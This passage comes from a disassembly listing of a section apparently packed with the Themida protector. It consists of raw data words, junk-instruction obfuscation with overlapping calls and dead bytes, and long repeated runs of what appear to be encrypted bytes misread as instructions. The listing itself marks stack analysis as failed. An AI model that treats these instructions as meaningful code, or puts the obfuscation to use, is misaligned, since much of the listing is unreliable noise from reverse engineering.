		dd 8B6688ECh, 13E9C7h, 0EB1D0000h, 0B144830Ch, 4C2658D2h
		dd 448DD497h, 0F274D38Bh, 0FB8B6651h, 2870Fh, 0C88B0000h
		dd 3BF0E881h, 0BB533265h, 5487C80Eh, 8E95Fh, 0AC410000h
		dd 8B8E717h, 0F98A016Fh, 9E8C38Bh, 0DA000000h, 453F315Ah
		dd 9BCB0501h, 8A5AD98Bh, 0F6B70FD9h, 4260BF66h,	10E9h
		dd 772B0B00h, 65C2CEB9h, 0D254B8A3h, 0AAAF433Dh, 0FC78056h
		dd 18A0Fh, 66FC0000h, 667271BEh, 0B55EE681h, 5E9h, 43C04D00h
		dd 81666F00h, 81C85AE9h, 99B08CDFh, 0F081662Fh,	0E850E9E5h
		dd 13h,	0C98A6472h, 0AEEE08E1h,	0C1802C9Dh, 4790AC6Ch
		dd 66412A99h, 0A0B7C181h, 12E85B5Fh, 44000000h,	8C4AE6BBh
		dd 227D9062h, 15980630h, 0D1E36502h, 6E9C4h, 3C10000h
		dd 61685D3Ah, 0C6816059h, 2F175BE7h, 5AE38166h,	8E96187h
		dd 0AB000000h, 6A9D34BDh, 669FE704h, 0C380CF8Bh, 7DD081C9h
		dd 0BA1F064Ch, 6442D490h, 58F0Fh, 4CBF0000h, 0F57BE606h
		dd 0CBB70FF8h, 66C9F780h, 0F1DC781h, 0D68166F8h, 8166306Ah
		dd 0E83637D8h, 11h, 0F4C1B826h,	8B2808CBh, 8DCC32D7h, 6AFD56CCh
		dd 0DA8B66E4h, 10E95Eh,	0ED970000h, 6D8D9DAh, 6FF40570h
		dd 738149FDh, 820F12E1h, 2, 0F081DE8Bh,	35B43FCBh, 11800Fh
		dd 6E80000h, 7D000000h,	0D3E7569h, 0EBB9BA65h, 0F85F5059h
		dd 8B7EB866h, 268A0Fh, 7E80000h, 90000000h, 0EEDC47DDh
		dd 14E96D5Ah, 8D000000h, 1972FFDh, 866BC567h, 0F6F1607h
		dd 5EEBB7A5h, 5E1D0FD7h, 0AE9F5h, 7E190000h, 0BC0B4EA1h
		dd 0BF8E74BFh, 10F38166h, 0A9B4576Ah, 45D2815Bh, 0E8102507h
		dd 13h,	648C7435h, 577173Ch, 35E90BA1h,	1D61C655h, 0E8DC9724h
		dd 12h,	5199ECAAh, 0CD5A8F0h, 0C137A2C5h, 43FF39F9h, 820F0E71h
		dd 0
; ---------------------------------------------------------------------------
		pop	esi
		pop	esi
		jb	loc_60529F
		movsx	edi, ax


loc_60529F:				; CODE XREF: Themida_:00605296j
		call	near ptr loc_6052AA+2
		not	byte ptr [ecx+ebp]
		mov	ch, 0C7h


loc_6052AA:				; CODE XREF: Themida_:loc_60529Fp
		mov	edx, 0D441B847h
		sbb	ah, [edi+5Fh]
		mov	esi, ebx
		or	dx, 870Fh
		mov	cl, 7Eh
		movsx	edi, cx
		push	eax
		mov	ecx, esi
		pop	edx
		mov	ecx, edx
		mov	al, 0D0h
		jmp	loc_6052D8
; ---------------------------------------------------------------------------
		db 75h
		dd 0A4A5EA37h, 3BA9904Eh, 982D6FE4h
; ---------------------------------------------------------------------------


loc_6052D8:				; CODE XREF: Themida_:006052C6j
		xor	dh, 0ABh
		sub	bx, 0C51Ch
		and	bx, 0B3BBh
		jmp	loc_6052FA
; ---------------------------------------------------------------------------
		dw 808h
		dd 0C8E4465Fh, 0A6396C5h, 0A7A45CCFh
		db 0D6h, 5
; ---------------------------------------------------------------------------


loc_6052FA:				; CODE XREF: Themida_:006052E5j
		call	sub_605309
		rep mov	ebx, 36679CE7h
		jp	short loc_605370
		adc	al, 7Ah

; =============== S U B	R O U T	I N E =======================================



sub_605309	proc near		; CODE XREF: Themida_:loc_6052FAp
		jp	loc_605311
		mov	edi, ebx


loc_605311:				; CODE XREF: sub_605309j
		pop	ebx
		jmp	loc_605323
; ---------------------------------------------------------------------------
		sahf
		push	edx
		inc	ecx
		cmp	eax, 0BD027DB0h
		lds	ecx, [ecx+39h]
		das


loc_605323:				; CODE XREF: sub_605309+9j
		movzx	edx, dx
		pusha
		jmp	loc_605333
; ---------------------------------------------------------------------------
		dd 55662A8Ch
		db 69h,	0DDh, 0E6h
; ---------------------------------------------------------------------------


loc_605333:				; CODE XREF: sub_605309+1Ej
		jnp	loc_60533A
		stc


loc_60533A:				; CODE XREF: sub_605309:loc_605333j
		popa
		mov	dx, 0A42h
		mov	ch, ah
		jnb	loc_60534F
		push	ebx
		and	ebx, 3E7A2635h
		pop	esi


loc_60534F:				; CODE XREF: sub_605309+38j
		mov	eax, 1BBA42FFh
		push	ebx
		pop	edx
		mov	eax, 1E0AA39Ah
		mov	ax, 9D58h
		movsx	edx, di
		jg	loc_605369
		stc


loc_605369:				; CODE XREF: sub_605309+59j
		adc	bh, 71h
		mov	bh, 0D9h
		mov	ecx, edi


loc_605370:				; CODE XREF: Themida_:00605305j
		push	ecx
		adc	ecx, 1453CB24h
		pop	ebx
		mov	bx, si
		xor	edx, 0D22E979h
		jmp	loc_60538D
; ---------------------------------------------------------------------------
		cmp	al, dh
		cwde
		aad	0FCh
		test	al, 0A1h


loc_60538D:				; CODE XREF: sub_605309+78j
		push	edi
		mov	dx, 2BD1h
		pop	ecx
		jns	$+6
		cld
		jmp	loc_6053A7
; ---------------------------------------------------------------------------
		db 0EEh
		dd 63E2A867h
		db 2 dup(76h), 0E3h
; ---------------------------------------------------------------------------


loc_6053A7:				; CODE XREF: sub_605309+91j
		pusha
		pusha
		js	$+6
		jmp	loc_6053BF
; ---------------------------------------------------------------------------
		dd 8FD7DE8Dh, 0A23D6B4Ah
		db 3Fh,	8Ch, 41h
; ---------------------------------------------------------------------------


loc_6053BF:				; CODE XREF: sub_605309+A6j
		popa
		jmp	loc_6053D2
; ---------------------------------------------------------------------------
		db 40h,	12h, 0BBh
		dd 3D3EA524h, 0B3407F97h
		db 0EFh, 0B3h
; ---------------------------------------------------------------------------


loc_6053D2:				; CODE XREF: sub_605309+B7j
		popa
		and	ebx, 1745D176h
		and	bx, 0E35Bh
		sub	bx, 5E4Ah
		mov	ax, di
		call	sub_6053F8
		lds	esp, [esi+52EEA4C5h]
		xor	[edi], esp
		sub	al, 0B2h
		icebp
		pop	ecx
		dec	ebx
sub_605309	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_6053F8	proc near		; CODE XREF: sub_605309+DDp
		push	ebx
		mov	ecx, 3F345CFBh
		pop	esi
		pop	esi
		jmp	loc_60540E
; ---------------------------------------------------------------------------
		db 24h,	9Ch, 0F2h
		dd 0E34FF5A9h
		db 3, 1Ch
; ---------------------------------------------------------------------------


loc_60540E:				; CODE XREF: sub_6053F8+8j
		sbb	eax, 559D8D34h
		mov	ecx, 79B187E0h
		sub	ebx, 32A9077Ah	; CODE XREF: Themida_:00605474j
		mov	ecx, ebx
		jle	loc_605429
		mov	eax, edi


loc_605429:				; CODE XREF: sub_6053F8+29j
		mov	bl, 25h
		call	near ptr loc_605437+1
		push	esp
		cmpxchg	[edi], bh
		mov	dl, dl
		inc	ebx


loc_605437:				; CODE XREF: sub_6053F8+33p
		call	far ptr	5B2Fh:0DBC08166h
sub_6053F8	endp ; sp-analysis failed

		sbb	ecx, 4F973659h
		pusha
		push	eax
		pusha
		popa
		pop	eax
		push	ecx
		jmp	loc_605462
; ---------------------------------------------------------------------------
		mov	ss, word ptr [ecx-55EBA6E0h]
		or	eax, 364A9099h
		cmpsd
		enter	202Eh, 1Ch
		aas
		inc	esi
		inc	esp


loc_605462:				; CODE XREF: Themida_:0060544Aj
		pop	ecx
		popa
		call	loc_605479
		test	[eax], al
		out	0F1h, al	; AT 80287 Reset.
					; Coprocessor is reset from protected mode to real mode
		and	eax, 2E449A37h
		db	64h
		inc	esi
		jecxz	short near ptr loc_605419+5
		outsb
		pop	eax
		push	edx


loc_605479:				; CODE XREF: Themida_:00605464p
		or	ecx, 2356835Bh
		pop	edi
		mov	al, 36h
		les	ecx, [eax]
		push	ds
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		sbb	al, 0C4h
		or	[esi], bl
		shr	dword ptr [ebp-522E21E1h], 1
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
		fcomp5	st(1)
		lodsd
		pop	ds
